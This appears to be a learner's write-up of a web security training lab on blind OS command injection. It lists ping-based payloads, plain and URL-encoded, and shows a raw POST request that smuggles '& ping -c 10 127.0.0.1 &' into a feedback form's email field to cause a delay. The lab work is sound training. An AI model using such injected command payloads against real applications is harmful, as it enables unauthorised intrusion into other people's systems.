

Blind OS command injection with time delays

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response.

To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.

Find the injection point first off

Submit feedback

Name:

Email:

Some payloads I was messing around with

y10b7cp63szcxbdcz9kbgk23ruxkl9.oastify.com

& ping -c 10 127.0.0.1 &

%26%20%70%69%6e%67%20%2d%63%20%31%30%20%31%32%37%2e%30%2e%30%2e%31%20%26

& ping -c 10 y10b7cp63szcxbdcz9kbgk23ruxkl9.oastify.com &

%26+ping+-c+10+y10b7cp63szcxbdcz9kbgk23ruxkl9.oastify.com+%26

```
Request
Pretty Raw Hex Hackvortor
1 POST /feedback/submit HTTP/1.1
2 Host: 0aeb00a5034ea1f4c0266c6500500052.web-security-academy.net
3 Cookie: session=xsQshzgEd335ipGyWMXgfPwmW38wGdff
4 Content-Length: 114
5 Sec-Ch-Ua: "Not;A=Brand";v="99", "Chromium";v="106"
6 Sec-Ch-Ua-Platform: "Windows"
7 Sec-Ch-Ua-Mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
  Gecko) Chrome/106.0.5249.62 Safari/537.36
9 Content-Type: application/x-www-form-urlencoded
10 Accept: */*
11 Origin: https://0aeb00a5034ea1f4c0266c6500500052.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://0aeb00a5034ea1f4c0266c6500500052.web-security-academy.net/feedback
16 Accept-Encoding: gzip, deflate
17 Accept-Language: en-US,en;q=0.9
18 Connection: close
19
20 csrf=bvgyZKg9EQh2H25fmfFILWYHRT6P0pjg&name=sw1m&email=%26+ping+-c+10+127.0.0.1+%26&
  subject=Subject&message=Message
```

Eventually I noticed the lab had solved

Email field seemed to have been vulnerable to the injection. I couldn't get it to trigger a request to burp collaborator which would have been quite cool

Congratulations, you solved the lab!